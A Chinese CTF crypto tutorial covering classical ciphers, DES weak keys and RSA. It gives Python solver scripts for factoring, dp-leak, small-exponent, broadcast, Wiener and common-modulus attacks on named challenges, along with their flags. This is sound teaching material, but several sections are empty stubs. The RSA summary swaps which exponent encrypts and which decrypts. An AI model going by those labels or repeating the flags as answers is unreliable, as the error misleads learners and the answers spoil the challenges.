关于手机键盘加密还有另一种方式,就是「音的」式(这一点可能根据手机的不同会有所不同),具体参照手机键盘来打,例如:「数字」表示出来就是:748 94。在手机键盘上面按下这几个数,就会出:「数字」的拼音。
- 电脑键盘棋盘
电脑键盘棋盘加密,利用了电脑的棋盘方阵。

- 电脑键盘坐标
电脑键盘坐标加密,利用键盘上面的字母行和数字行来加密,例:bye 用电脑键盘 XY 表示就是:351613

- 电脑键盘 QWE 电脑键盘 QWE 加密法,就是用字母表替换键盘上面的排列顺序。

例题分析:[SWPUCTF 2021 新生赛]我的银行卡密码
置换密码
置换密码(Transposition Cipher)又称为转置密码或换位密码,是指通过改变明文中各字符位置得到密文,其字符不变,但位置改变,即位置转换。典型的有栅栏密码、曲路密码等。
栅栏密码
栅栏密码(Rail Fence Cipher)通过将文本以波浪形排列实现。根据排列形状,分为 W 型(传统型)和 N 型。以下是对明文helloworld按照 3 栏加密的传统型示例。
- 默认偏移
offset为 0,密文为holelwrdlo。
h...o...l.
.e.l.w.r.d
..l...o...
- 若偏移
offset为 1,密文为lrhloolewd
...l...r..
h.l.o.o.l.
.e...w...d
例题分析:
Ta _7N6DDDhlg:W3D_H3C31N__0D3ef sHR053F38N43D0F i33___NA
,原文中存在
在线加解密网站:
- https://www.geocachingtoolbox.com/index.php?page=railFenceCipher
- https://rumkin.com/tools/cipher/rail-fence/
总结
- 如果给定的密文长度较长,考虑字母频率分析
参考资料
对称密码
流密码
分组密码(块密码)
分组密码工作模式
电子密码本模式(ECB)
-
优点
- 可以并行加密比特块
- 块密码的简单实现方式
-
缺点
- 易受密码分析的攻击,因为明文与密文之间存在直接关系
- 相同的明文块生成相同的密文块,这可能暴露出模式
密文反馈(CFB)
密码块链接(CBC)
加密算法的输入是明文分组和前一个密文分组的异或,同样均使用相同的密钥进行加密。其中第一个明文加密时,需先与初始向量 异或,再进入加密算法进行加密。
OFB
PCBC
DES
数据加密标准(Data Encryption Standard,简称 DES)是一种对称密钥加密算法,广泛用于电子数据保护。它是由 IBM 开发的,并在 1977 年被美国国家标准协会(ANSI)采用为联邦信息处理标准(FIPS PUB 46),后来成为一种广泛使用的加密标准。
加密流程图如下:

块密码:DES 将固定长度的明文(64 位)分为多个 64 位的块进行处理。
密钥长度:使用 56 位的密钥进行加密,虽然实际的密钥长度为 64 位,但每第 8 位用于奇偶校验。
轮数:DES 采用 16 轮的加密操作,每一轮包含选择、置换和混合步骤。
假设,明文为 M = Hello World!
转换为二进制
01001000 01100101 01101100 01101100 01101111 00100000 01010111 01101111 01110010 01101100 01100100 00100001
decimal_number = int(binary_string, 2)
按照 64 位分组
b1:
01001000
01100101
01101100
01101100
01101111
00100000
01010111
01101111
b2:
01110010
01101100
01100100
00100001
padding
padding
padding
padding
KEY:
00110100
00110101
10110101
10101000
00011101
11011011
10010000
00000100
- 初始置换

即将输入的第 58 位换到第 1 位,第 50 位换到第 2 位,依此类推,最后一位是原来的第 7 位。
-
终止置换
-
扩展置换
S 盒压缩处理
使用了 8 个不同的 S-盒
每个 S 盒接受 6 位输入,并返回 4 位输出
弱密钥
弱密钥的出现源于密钥调度算法中的循环左移操作。
- 在生成子密钥时,56 位密钥被分成两个 28 位的半部分。
- 如果初始的 C₀ 和 D₀ 全部由 0 或全部由 1 组成,那么无论进行多少次循环左移,C₀ 和 D₀ 的值都不会改变!
- 这意味着:所有 16 轮的子密钥(K1 ~ K16)都将完全相同。
有 4 个明确的弱密钥
弱密钥(十六进制表示,含校验位) C₀ 状态 (28位) D₀ 状态 (28位) 原因
0x0101010101010101 全 0 全 0 全0的半部分
0xFEFEFEFEFEFEFEFE 全 1 全 1 全1的半部分
0x1F1F1F1F0E0E0E0E 全 0 全 1 一个全0,一个全1
0xE0E0E0E0F1F1F1F1 全 1 全 0 一个全1,一个全0
这意味着:加密函数和解密函数是同一个函数。E(K, E(K, P)) = P
示例:
https://github.com/VoidHack/write-ups/tree/master/SharifCTF%208/crypto/DES
3DES

参考资料
- https://zh.wikipedia.org/wiki/DES%E8%A1%A5%E5%85%85%E6%9D%90%E6%96%99
- https://sandilands.info/crypto/DataEncryptionStandard.html#
- https://www.youtube.com/watch?v=3YBwhWuXZ0o
- https://www.cnblogs.com/idreamo/p/9333753.html
- https://fluix.one/blog/picoctf-2021-ddes/
53616c7465645f5f0c160de825c4925b6543fa6c52dc91b4487b8252966d9de6aec8508b95522f879232bf89e3066440
RSA
RSA 加密算法是一种非对称加密算法,广泛应用于公开密钥加密和电子商务中。该算法于 1977 年由罗纳德·李维斯特(Ron Rivest)、阿迪·萨莫尔(Adi Shamir)和伦纳德·阿德曼(Leonard Adleman)提出,RSA 的名称来源于他们三位创始人的姓氏首字母。
RSA 算法的安全性基于大整数分解的难度。换句话说,分解一个非常大的整数越困难,RSA 算法就越安全。如果有人找到快速分解整数的算法,那么使用 RSA 加密的信息的安全性将会大幅下降。然而,找到这样的算法的可能性非常小。目前,只有短的 RSA 密钥可能会受到强力破解的威胁。
数论基础
整除
设 a,b 是两个整数,且 \(b \neq 0 \) ,如果存在整数 c 使 \( a = bc \),则称 a 被 b 整除,或 b 整除 a。
素数
在大于 1 的自然数中,除了 1 和它本身外,不能被其他自然数整除的数称为素数(Prime Number),否则称为合数。素数也被称作质数。换句话说,素数只有两个正因数:1 和它本身。
例如,7 和 11 是素数。最小的素数是 2。
互素
互素指的是两个整数之间的最大公因数为 1。换句话说,两个数互素意味着它们没有其他公因数,除了 1。
例如,数字 8 和 15 是互素的,因为它们的最大公约数是 1。数字 12 和 18 不是互素的,因为它们的最大公约数是 6。
欧拉函数
欧拉函数通常用 \( \varphi(n) \) 表示。
$$ \varphi(n) = \text{小于等于 n 的正整数中,与 n 互素的个数} $$
如\( \varphi(1) = \varphi(2) = 1 \),\( \varphi(3) = \varphi(4)=2 \)。显然,当 n 为素数时, \( \varphi(n) = n-1 \);当 n 为合数时, \( \varphi(n) < n-1 \)。
同余式
中国剩余定理
RSA 算法简述
- 随机选择两个不同的大素数 \( p \) 和 \( q \),计算 \( N = p \times q \)
- 根据欧拉函数,求\( \varphi(N) = \varphi(p)\varphi(q) = (p-1)(q-1) \)
- 随机选择一整数\( e \)(解密指数),满足\( 0 < e < \varphi(N) \),且\( e \)和\( \varphi(N) \)互素
- 计算加密指数\( d \),满足\( ed \equiv 1\ ( \bmod \varphi(N)) \),\( d \)为\( e \)关于\( \varphi(N) \)的模反元素
- 销毁\( p \)、\( q \)
其中\( (N,e) \)为公钥,\( (N,d) \)为私钥。假定\( c \)为密文,\( m \)为明文,则
加密过程为\( c = m^e \bmod N \)
解密过程为\( m = c^d \bmod N \)
import gmpy2
from Crypto.Util.number import long_to_bytes, bytes_to_long
p = 885320963
q = 238855417
n = p*q
phin = (p-1)*(q-1)
print('phin:', phin) # 211463706672030192
e = 65537
d = gmpy2.invert(e, phin)
print('d:', d) # 34737907838794529
# 加密
m = b'abc'
print("m_to_long:", bytes_to_long(m)) # 6382179
c = gmpy2.powmod(bytes_to_long(m), e, n)
print('encrypt:', c) # 151999436028678347
# 解密
m1 = gmpy2.powmod(c, d, n)
print('plain_long:',m1) # 6382179
print('plain_text:',long_to_bytes(m1)) # b'abc'
环境准备
- Python 3 依赖安装
gmpy2是一个用于高精度算术运算的 Python 库,要求 Python 3.7 to 3.13。pycryptodome是PyCrypto的替代品,提供更强大的加密算法支持。
pip install gmpy2 pycryptodome -i https://mirrors.aliyun.com/pypi/simple
常见攻击方法
模数分解(因数分解)
模数分解(因数分解)是指将 RSA 公钥中的模数 \( n \) 分解为两个素数 \( p、q \) 的乘积。
直接分解
在实际应用中,RSA 算法使用的素数长度在 1024 位、2048 位或更高。在 CTF 赛题中,若模数 \( n \) 的位数比较小,则可以直接因式分解模数\( n \),进而获得\( p、q \)。
因式分解的工具有Yafu、factordb.com是一个专门用于存储和查询整数的因数分解结果的在线数据库,以及其他的因式分解算法。
例如,在 DeconstruCT.F 2021 的 RSA-1 题目中,发现模数\( n \)比较小,考虑分解模数\( n \)。
Ever used RSA Encryption?
cyphertext = 10400286653072418349777706076384847966640064725838262071
n = 23519325203263800569051788832344215043304346715918641803
e = 71
方法一:factordb.com是一个专门用于存储和查询整数的因数分解结果的在线数据库。
方法二:本地工具Yafu
获取\( p、q \)后,可以直接编写代码进行解密。参考 Python 3 代码如下:
import gmpy2
from Crypto.Util.number import long_to_bytes
c = 10400286653072418349777706076384847966640064725838262071
p = 4655885807254867892895911581
q = 5051525354555657585960616263
n = 23519325203263800569051788832344215043304346715918641803
e = 71
phin = (p-1)*(q-1)
d = gmpy2.invert(e, phin)
m = gmpy2.powmod(c, d, n)
print(long_to_bytes(m)) # b'dsc{t00_much_m4th_8898}'
方法三:使用RsaCtfTool
./RsaCtfTool.py -n 23519325203263800569051788832344215043304346715918641803 -e 71 --decrypt 10400286653072418349777706076384847966640064725838262071
利用公因数
如果在两次公钥的加密过程中使用的\( n_1 \) 和\( n_2 \)具有相同的素因子,那么可以利用欧几里得算法直接将\( n_1 \)和\( n_2 \)分解。
通过欧几里得算法可以直接求出\( n_1 \)和\( n_2 \)的最大公因数\( p \):
- 识别:题目往往给了若干不相同的模数\( n \),且使用相同的加密指数\( e \),那么可以考虑模数是否有公约数,进而进行模数分解
p1 = getPrime(512)
p2 = getPrime(512)
q = getPrime(512)
n1 = p1*q
n2 = p2*q
$\left| p-q \right|$较小
\( \left| p-q \right| \) 很小,即\( p、q \) 相差过小,可以使用费马分解法 (Fermat's factorization method)来快速分解模数\( n \)。
0x41414141 CTF factorize,题目提供了密文\( c \)、模数$n$以及factorize.py文件。
c: 17830167351685057470426148820703481112309475954806278304600862043185650439097181747043204885329525211579732614665322698426329449125482709124139851522121862053345527979419420678255168453521857375994190985370640433256068675028575470040533677286141917358212661540266638008376296359267047685745805295747215450691069703625474047825597597912415099008745060616375313170031232301933185011013735135370715444443319033139774851324477224585336813629117088332254309481591751292335835747491446904471032096338134760865724230819823010046719914443703839473237372520085899409816981311851296947867647723573368447922606495085341947385255
n: 23135514747783882716888676812295359006102435689848260501709475114767217528965364658403027664227615593085036290166289063788272776788638764660757735264077730982726873368488789034079040049824603517615442321955626164064763328102556475952363475005967968681746619179641519183612638784244197749344305359692751832455587854243160406582696594311842565272623730709252650625846680194953309748453515876633303858147298846454105907265186127420148343526253775550105897136275826705375222242565865228645214598819541187583028360400160631947584202826991980657718853446368090891391744347723951620641492388205471242788631833531394634945663
factorize.py:
import binascii
import random
from Crypto.Util.number import isPrime
flag = open("flag.txt", "rb").read().strip()
m = int(binascii.hexlify(flag), 16)
def genPrimes(size):
base = random.getrandbits(size // 2) << size // 2 # 生成一个512位的随机整数,并将这个整数左移512位
base = base | (1 << 1023) | (1 << 1022) | 1
while True:
temp = base | random.getrandbits(size // 2)
if isPrime(temp):
p = temp
break
while True:
temp = base | random.getrandbits(size // 2)
if isPrime(temp):
q = temp
break
return (p, q)
p, q = genPrimes(1024)
n = p * q
e = 0x10001
print("c:", pow(m, e, n))
from Crypto.Util.number import isPrime, getStrongPrime
from gmpy import next_prime
from secret import flag
# Anti-Fermat Key Generation
p = getStrongPrime(1024)
q = next_prime(p ^ ((1<<1024)-1))
n = p * q
e = 65537
# Encryption
m = int.from_bytes(flag, 'big')
assert m < n
c = pow(m, e, n)
print('n = {}'.format(hex(n)))
print('c = {}'.format(hex(c)))
from math import isqrt
from Crypto.Util.number import inverse, long_to_bytes
n = 0x1ffc7dc6b9667b0dcd00d6ae92fb34ed0f3d84285364c73fbf6a572c9081931be0b0610464152de7e0468ca7452c738611656f1f9217a944e64ca2b3a89d889ffc06e6503cfec3ccb491e9b6176ec468687bf4763c6591f89e750bf1e4f9d6855752c19de4289d1a7cea33b077bdcda3c84f6f3762dc9d96d2853f94cc688b3c9d8e67386a147524a2b23b1092f0be1aa286f2aa13aafba62604435acbaa79f4e53dea93ae8a22655287f4d2fa95269877991c57da6fdeeb3d46270cd69b6bfa537bfd14c926cf39b94d0f06228313d21ec6be2311f526e6515069dbb1b06fe3cf1f62c0962da2bc98fa4808c201e4efe7a252f9f823e710d6ad2fb974949751
c = 0x60160bfed79384048d0d46b807322e65c037fa90fac9fd08b512a3931b6dca2a745443a9b90de2fa47aaf8a250287e34563e6b1a6761dc0ccb99cb9d67ae1c9f49699651eafb71a74b097fc0def77cf287010f1e7bd614dccfb411cdccbb84c60830e515c05481769bd95e656d839337d430db66abcd3a869c6348616b78d06eb903f8abd121c851696bd4cb2a1a40a07eea17c4e33c6a1beafb79d881d595472ab6ce3c61d6d62c4ef6fa8903149435c844a3fab9286d212da72b2548f087e37105f4657d5a946afd12b1822ceb99c3b407bb40e21163c1466d116d67c16a2a3a79e5cc9d1f6a1054d6be6731e3cd19abbd9e9b23309f87bfe51a822410a62
e = 65537
def FermatFactors(n):
a = (((1 << 1024)-1) + 1)//2
while True:
b1 = a * a - n
b = isqrt(b1)
if b * b == b1:
break
a += 1
return a - b, a + b
p, q = FermatFactors(n)
assert p*q == n
phi = (p-1)*(q-1)
d = inverse(e, phi)
print(long_to_bytes(pow(c, d, n)).decode())
dp 泄露
- 识别:已知$n、e、dp、c$
$$ dp = d(\bmod p-1) $$
from Crypto.Util.number import long_to_bytes
import gmpy2
# 已知参数
e = 65537
n = 248254007851526241177721526698901802985832766176221609612258877371620580060433101538328030305219918697643619814200930679612109885533801335348445023751670478437073055544724280684733298051599167660303645183146161497485358633681492129668802402065797789905550489547645118787266601929429724133167768465309665906113
dp = 905074498052346904643025132879518330691925174573054004621877253318682675055421970943552016695528560364834446303196939207056642927148093290374440210503657
c = 140423670976252696807533673586209400575664282100684119784203527124521188996403826597436883766041879067494280957410201958935737360380801845453829293997433414188838725751796261702622028587211560353362847191060306578510511380965162133472698713063592621028959167072781482562673683090590521214218071160287665180751
# 计算 p
for k in range(1, e):
p = ((dp * e - 1) // k) + 1
if n % p == 0:
break
# 计算 q
q = n // p
# 计算 d
phi_n = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi_n)
# 解密密文
m = gmpy2.powmod(c, d, n)
# 打印解密后的明文
print(long_to_bytes(m)) # b'flag{wow_leaking_dp_breaks_rsa?_98924743502}'
dq、dp 泄露
- 识别:已知$p、q、dp、dq、c$
$$ \begin{align} dq=d(\bmod q-1) \ dp=d(\bmod p-1) \ InvQ=q^{−1} (\bmod p) \end{align} $$
例题 PicoCTF 2017 Weird RSA
c: 95272795986475189505518980251137003509292621140166383887854853863720692420204142448424074834657149326853553097626486371206617513769930277580823116437975487148956107509247564965652417450550680181691869432067892028368985007229633943149091684419834136214793476910417359537696632874045272326665036717324623992885
p: 11387480584909854985125335848240384226653929942757756384489381242206157197986555243995335158328781970310603060671486688856263776452654268043936036556215243
q: 12972222875218086547425818961477257915105515705982283726851833508079600460542479267972050216838604649742870515200462359007315431848784163790312424462439629
dp: 8191957726161111880866028229950166742224147653136894248088678244548815086744810656765529876284622829884409590596114090872889522887052772791407131880103961
dq: 3570695757580148093370242608506191464756425954703930236924583065811730548932270595568088372441809535917032142349986828862994856575730078580414026791444659
import gmpy2
from Crypto.Util.number import long_to_bytes
c = 95272795986475189505518980251137003509292621140166383887854853863720692420204142448424074834657149326853553097626486371206617513769930277580823116437975487148956107509247564965652417450550680181691869432067892028368985007229633943149091684419834136214793476910417359537696632874045272326665036717324623992885
p = 11387480584909854985125335848240384226653929942757756384489381242206157197986555243995335158328781970310603060671486688856263776452654268043936036556215243
q = 12972222875218086547425818961477257915105515705982283726851833508079600460542479267972050216838604649742870515200462359007315431848784163790312424462439629
dp = 8191957726161111880866028229950166742224147653136894248088678244548815086744810656765529876284622829884409590596114090872889522887052772791407131880103961
dq = 3570695757580148093370242608506191464756425954703930236924583065811730548932270595568088372441809535917032142349986828862994856575730078580414026791444659
qinv = gmpy2.invert(q,p)
m1 = gmpy2.powmod(c,dp,p)
m2 = gmpy2.powmod(c,dq,q)
h = qinv * (m1-m2)
m = m2 + h*q
print(long_to_bytes(m)) # b'Theres_more_than_one_way_to_RSA'
低加密指数小明文攻击
- 识别:已知加密指数\( e \)较小,通常为 3
如果明文\( m \)非常小,且加密指数\( e \)较小,通常为 3。若满足\( m^3 < n \),那么\( c = m^3 \),可直接计算密文\( c \)的立方根来恢复明文\( m \)。
例题,已知题目信息如下,得\( e=3 \),且密文\( c \)比\( n \)小,可直接计算密文的立方根。
e: 3
c: 2780321436921227845269766067805604547641764672251687438825498122989499386967784164108893743279610287605669769995594639683212592165536863280639528420328182048065518360606262307313806591343147104009274770408926901136562839153074067955850912830877064811031354484452546219065027914838811744269912371819665118277221
n: 23571113171923293137414347535961677173798389971011031071091131271311371391491511571631671731791811911931971992112232272292332392412512572632692712772812832933073113133173313373473493533593673733793833893974014094194214314334394434494574614634674794874914995035095215235415475575635695715775875935996016076136176196316416436476536596616736776836917017097197277337397437517577617697737877978098118218238278298398538578598638778818838879079119199299379419479539679719779839919971009101310191431936117404941729571877755575331917062752829306305198341421305376800954281557410379953262534149212590443063350628712530148541217933209759909975139820841212346188350112608680453894647472456216566674289561525527394398888860917887112180144144965154878409149321280697460295807024856510864232914981820173542223592901476958693572703687098161888680486757805443187028074386001621827485207065876653623459779938558845775617779542038109532989486603799040658192890612331485359615639748042902366550066934348195272617921683
脚本如下:
import gmpy2
from Crypto.Util.number import long_to_bytes
c = 2780321436921227845269766067805604547641764672251687438825498122989499386967784164108893743279610287605669769995594639683212592165536863280639528420328182048065518360606262307313806591343147104009274770408926901136562839153074067955850912830877064811031354484452546219065027914838811744269912371819665118277221
m = gmpy2.iroot(c, 3)[0]
print(long_to_bytes(m)) # b'dsc{t0-m355-w1th-m4th-t4k35-4-l0t-0f-sp1n3}'
RsaCtfTool -n 2357..3 -e 3 --decrypt 2780...21 --attack cube_root
如果密文虽然大于,但不是特别大, 练习题:NahamCon CTF 2024: Magic RSA
import gmpy2
from Crypto.Util.number import long_to_bytes
ciphertext = [1061208, 1259712, 912673, 1092727, 1860867, 175616, 166375, 941192, 185193, 1030301, 941192, 185193, 912673, 140608, 175616, 185193, 140608, 941192, 970299, 1061208, 175616, 912673, 117649, 912673, 185193, 148877, 912673, 125000, 110592, 1030301, 132651, 132651, 1061208, 117649, 117649, 1061208, 166375, 1953125]
N = 292661735803169078279687796534368733968232055929694715453717384181208539846645017378459508481927733219065809706996972833902743250671173212610674572380079245835772007065919936022084401497853611610920914306013040436502207047619016113234947051878549793269852855316328078769491183468515501156324665790842023112309668506350354977653838139155232422868462129041940364012648613391176971689126513558396465218392059219609662829793504680423032430634001779369250142543104703669906030549585514247663929431837546466696121103600101025434247152431200408744676625328330247569014313252820778269086840631297075563756934662979588351413726196027845505808290890109883253252054958997436359016852222176230489468164288277709046892991459049248340800616885136366469783271661343653314539194467688757972713531491290238432270971346559967725437118531023032768463200227986539449334624183071042562539584305305367245588508498775214112729500313280502474837332653452065755426475638743763861804587979560695676963674789819860296303566053542883415223272958687917330474367563315425617320128680682444959701586681495270336801802382200546403246134181793704030611664095075430115127507174884551339452808218398863888817
def cube_root_attack(ciphertext, N):
decrypted = []
for c in ciphertext:
m = gmpy2.iroot(c, 3)[0]
decrypted.append(long_to_bytes(m))
return decrypted
decrypted_plaintext = cube_root_attack(ciphertext, N)
for pt in decrypted_plaintext:
print(pt.decode(), end='')
低加密指数广播攻击
- 已知多组模数$n_i$、密文$c_i$
对于相同明文$m$,使用相同的低加密指数$e$(如$e=3$),在不同的模数$n_1,n_2,...,n_i$进行加密($i \geq e$),得到$i$组密文,可以使用中国剩余定理解出明文。
from functools import reduce
import gmpy2
from Crypto.Util.number import long_to_bytes
def crt(a, n):
sum = 0
prod = reduce(lambda a, b: a*b, n)
for n_i, a_i in zip(n, a):
p = prod // n_i
sum += a_i * gmpy2.invert(p, n_i)*p
return sum % prod
# 已知变量
e = 3
n1 = int('331310324212000030020214312244232222400142410423413104441140203003243002104333214202031202212403400220031202142322434104143104244241214204444443323000244130122022422310201104411044030113302323014101331214303223312402430402404413033243132101010422240133122211400434023222214231402403403200012221023341333340042343122302113410210110221233241303024431330001303404020104442443120130000334110042432010203401440404010003442001223042211442001413004', 5)
c1 = int('310020004234033304244200421414413320341301002123030311202340222410301423440312412440240244110200112141140201224032402232131204213012303204422003300004011434102141321223311243242010014140422411342304322201241112402132203101131221223004022003120002110230023341143201404311340311134230140231412201333333142402423134333211302102413111111424430032440123340034044314223400401224111323000242234420441240411021023100222003123214343030122032301042243', 5)
n2 = int('302240000040421410144422133334143140011011044322223144412002220243001141141114123223331331304421113021231204322233120121444434210041232214144413244434424302311222143224402302432102242132244032010020113224011121043232143221203424243134044314022212024343100042342002432331144300214212414033414120004344211330224020301223033334324244031204240122301242232011303211220044222411134403012132420311110302442344021122101224411230002203344140143044114', 5)
c2 = int('112200203404013430330214124004404423210041321043000303233141423344144222343401042200334033203124030011440014210112103234440312134032123400444344144233020130110134042102220302002413321102022414130443041144240310121020100310104334204234412411424420321211112232031121330310333414423433343322024400121200333330432223421433344122023012440013041401423202210124024431040013414313121123433424113113414422043330422002314144111134142044333404112240344', 5)
n3 = int('332200324410041111434222123043121331442103233332422341041340412034230003314420311333101344231212130200312041044324431141033004333110021013020140020011222012300020041342040004002220210223122111314112124333211132230332124022423141214031303144444134403024420111423244424030030003340213032121303213343020401304243330001314023030121034113334404440421242240113103203013341231330004332040302440011324004130324034323430143102401440130242321424020323', 5)
c3 = int('10013444120141130322433204124002242224332334011124210012440241402342100410331131441303242011002101323040403311120421304422222200324402244243322422444414043342130111111330022213203030324422101133032212042042243101434342203204121042113212104212423330331134311311114143200011240002111312122234340003403312040401043021433112031334324322123304112340014030132021432101130211241134422413442312013042141212003102211300321404043012124332013240431242', 5)
# 使用 gmpy2 的 crt 方法计算 m^e
m_e = crt([c1, c2, c3], [n1, n2, n3])
# 计算 m^e 的整数根
m, exact = gmpy2.iroot(m_e, e)
if exact:
print(f"解密得到的消息 m 为: {long_to_bytes(m)}") # b'noxCTF{D4mn_y0u_h4s74d_wh47_4_b100dy_b4s74rd!}
else:
print("未能找到整数根")
低解密指数攻击(Wiener's attack,维纳攻击)
如果加密指数\( e \)非常大,由于\( ed \)在乘积时地位对等,解密指数\( d \)可能较小,可以进行维纳攻击。
值得注意的是,在实际应用中,加密指数\( e \)通常选择为一个较小的固定值65537,以便保证安全性的同时提高加密和解密的效率。
n = 109676931776753394141394564514720734236796584022842820507613945978304098920529412415619708851314423671483225500317195833435789174491417871864260375066278885574232653256425434296113773973874542733322600365156233965235292281146938652303374751525426102732530711430473466903656428846184387282528950095967567885381
e = 49446678600051379228760906286031155509742239832659705731559249988210578539211813543612425990507831160407165259046991194935262200565953842567148786053040450198919753834397378188932524599840027093290217612285214105791999673535556558448523448336314401414644879827127064929878383237432895170442176211946286617205
c = 103280644092615059984518332609100925251130437801342718478803923990158474621180283788652329522078935869010936203566024336697568861166241737937884153980866061431062015970439320809653170936674539901900312536610219900459284854811622720209705994060764318380465515920139663572083312965314519159261624303103692125635
./RsaCtfTool.py -n 1096..1 -e 494..5 --decrypt 103..5 --attack wiener
#
共模攻击
共模攻击(Common Modulus Attack)的前提是同一个明文\( m \) 使用相同的模数\( n \)但不同的加密指数\( e_1, e_2, \ldots, e_k \)进行加密。
假设有同一个明文\( m \)使用相同的模数$n \)但不同的加密指数\( e_1 \)和\( e_2 \)进行加密,分别得到密文\( c_1 \)和\( c_2 \):
$$ c_1 = m^{e_1} \mod n $$ $$ c_2 = m^{e_2} \mod n $$
如果\( e_1 \)和\( e_2 \)互素,即\( \gcd(e_1, e_2) = 1 \),则可以使用扩展欧几里得算法找到整数\( a \)和\( \),使得:
$$ a \cdot e_1 + b \cdot e_2 = 1$$
然后可以通过以下步骤恢复消息\( m$:
- 计算\( c_1^a \mod n$和\( c_2^b \mod n \)。
- 如果\( a \)是负数,则计算\( c_1^{-a} \mod n \),这相当于计算$(c_1^{-1})^a \mod n \),其中\( c_1^{-1}$是\( c_1$在模\( n \)下的逆元。
- 同理,如果\( b \)是负数,则计算\( c_2^{-b} \mod n \)。
- 最终消息\( m$可以通过\( m = (c_1^a \cdot c_2^b) \mod n \)恢复。
例题分析
示例代码
以下是使用 Python 和 gmpy2 库实现 RSA 共模攻击的示例代码:
import gmpy2
from Crypto.Util.number import long_to_bytes
def common_modulus_attack(c1, c2, e1, e2, n):
# 扩展欧几里得算法找到 a 和 b
g, a, b = gmpy2.gcdext(e1, e2)
# 确保 e1 和 e2 互质
if g != 1:
raise ValueError("e1 和 e2 必须互质")
# 计算 c1^a 和 c2^b
if a < 0:
c1 = gmpy2.invert(c1, n)
a = -a
if b < 0:
c2 = gmpy2.invert(c2, n)
b = -b
m1 = gmpy2.powmod(c1, a, n)
m2 = gmpy2.powmod(c2, b, n)
# 恢复消息 m
m = (m1 * m2) % n
return m
# 示例
n = 6266565720726907265997241358331585417095726146341989755538017122981360742813498401533594757088796536341941659691259323065631249
e1 = 773
e2 = 839
c1 = 3453520592723443935451151545245025864232388871721682326408915024349804062041976702364728660682912396903968193981131553111537349
c2 = 5672818026816293344070119332536629619457163570036305296869053532293105379690793386019065754465292867769521736414170803238309535
m = common_modulus_attack(c1, c2, e1, e2, n)
print(long_to_bytes(m))
解释
-
扩展欧几里得算法:
- 使用
gmpy2.gcdext计算$e_1$和$e_2$的最大公约数以及系数$a$和$b$。
- 使用
-
检查互质性:
- 确保$e_1$和$e_2$互质,否则攻击无法进行。
-
计算逆元:
- 如果$a$或$b$为负数,则计算相应密文的逆元。
-
恢复消息:
- 通过$m = (c_1^a \cdot c_2^b) \mod n$恢复原始消息。
通过上述步骤和代码,可以利用 RSA 共模攻击在特定条件下恢复原始消息。保护 RSA 系统的安全性,避免使用相同的模数$n$是非常重要的。
Coppersmith's High Attack
RSA LSB Oracle
练习题
BUUCTF RSAROLL
import gmpy2
from Crypto.Util.number import long_to_bytes
p = 18443
q = 49891
n = 920139713
e = 19
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
flag = b''
with open('data.txt', 'r') as f:
for line in f.readlines():
# print(line)
m = gmpy2.powmod(int(line), d, n)
flag += long_to_bytes(m)
print(flag)
# b'flag{13212je2ue28fy71w8u87y31r78eu1e2}'
Jarvis OJ - Crypto- MediumRSA
PEM(Privacy Enhanced Mail)文件是一种用于存储和传输加密数据的格式,通常用于存储证书、私钥、公钥等加密信息。PEM 文件使用 Base64 编码,并包含特定的头部和尾部标签,以便于识别和处理。
PEM 文件的内容通常包含以下部分:
- 头部标签:标识文件的类型,例如
-----BEGIN CERTIFICATE-----或-----BEGIN RSA PRIVATE KEY-----。 - Base64 编码的数据:实际的加密数据,以 Base64 编码表示。
- 尾部标签:标识文件的结束,例如
-----END CERTIFICATE-----或-----END RSA PRIVATE KEY-----。
GUET-CTF 2019 BabyRSA
p+q : 0x1232fecb92adead91613e7d9ae5e36fe6bb765317d6ed38ad890b4073539a6231a6620584cea5730b5af83a3e80cf30141282c97be4400e33307573af6b25e2ea
(p+1)(q+1) : 0x5248becef1d925d45705a7302700d6a0ffe5877fddf9451a9c1181c4d82365806085fd86fbaab08b6fc66a967b2566d743c626547203b34ea3fdb1bc06dd3bb765fd8b919e3bd2cb15bc175c9498f9d9a0e216c2dde64d81255fa4c05a1ee619fc1fc505285a239e7bc655ec6605d9693078b800ee80931a7a0c84f33c851740
e : 0xe6b1bee47bd63f615c7d0a43c529d219
d : 0x2dde7fbaed477f6d62838d55b0d0964868cf6efb2c282a5f13e6008ce7317a24cb57aec49ef0d738919f47cdcd9677cd52ac2293ec5938aa198f962678b5cd0da344453f521a69b2ac03647cdd8339f4e38cec452d54e60698833d67f9315c02ddaa4c79ebaa902c605d7bda32ce970541b2d9a17d62b52df813b2fb0c5ab1a5
enc_flag : 0x50ae00623211ba6089ddfae21e204ab616f6c9d294e913550af3d66e85d0c0693ed53ed55c46d8cca1d7c2ad44839030df26b70f22a8567171a759b76fe5f07b3c5a6ec89117ed0a36c0950956b9cde880c575737f779143f921d745ac3bb0e379c05d9a3cc6bf0bea8aa91e4d5e752c7eb46b2e023edbc07d24a7c460a34a9a
$$ \begin{align} (p+1)(q+1) &= pq + p + q + 1 = n + p + q + 1 \ n &= (p+1)(q+1) - (p + q) - 1 \end{align} $$
import gmpy2
from Crypto.Util.number import long_to_bytes
# p+q用a表示
a = 0x1232fecb92adead91613e7d9ae5e36fe6bb765317d6ed38ad890b4073539a6231a6620584cea5730b5af83a3e80cf30141282c97be4400e33307573af6b25e2ea
# (p+1)(q+1)用b表示
b = 0x5248becef1d925d45705a7302700d6a0ffe5877fddf9451a9c1181c4d82365806085fd86fbaab08b6fc66a967b2566d743c626547203b34ea3fdb1bc06dd3bb765fd8b919e3bd2cb15bc175c9498f9d9a0e216c2dde64d81255fa4c05a1ee619fc1fc505285a239e7bc655ec6605d9693078b800ee80931a7a0c84f33c851740
d = 0x2dde7fbaed477f6d62838d55b0d0964868cf6efb2c282a5f13e6008ce7317a24cb57aec49ef0d738919f47cdcd9677cd52ac2293ec5938aa198f962678b5cd0da344453f521a69b2ac03647cdd8339f4e38cec452d54e60698833d67f9315c02ddaa4c79ebaa902c605d7bda32ce970541b2d9a17d62b52df813b2fb0c5ab1a5
c = 0x50ae00623211ba6089ddfae21e204ab616f6c9d294e913550af3d66e85d0c0693ed53ed55c46d8cca1d7c2ad44839030df26b70f22a8567171a759b76fe5f07b3c5a6ec89117ed0a36c0950956b9cde880c575737f779143f921d745ac3bb0e379c05d9a3cc6bf0bea8aa91e4d5e752c7eb46b2e023edbc07d24a7c460a34a9a
n = b - a - 1
m = gmpy2.powmod(c, d, n)
print(long_to_bytes(m))
# flag{cc7490e-78ab-11e9-b422-8ba97e5da1fd}
BUUCTF-RSA2
[HDCTF2019]bbbbbbrsa
from base64 import b64decode
import gmpy2
from Crypto.Util.number import *
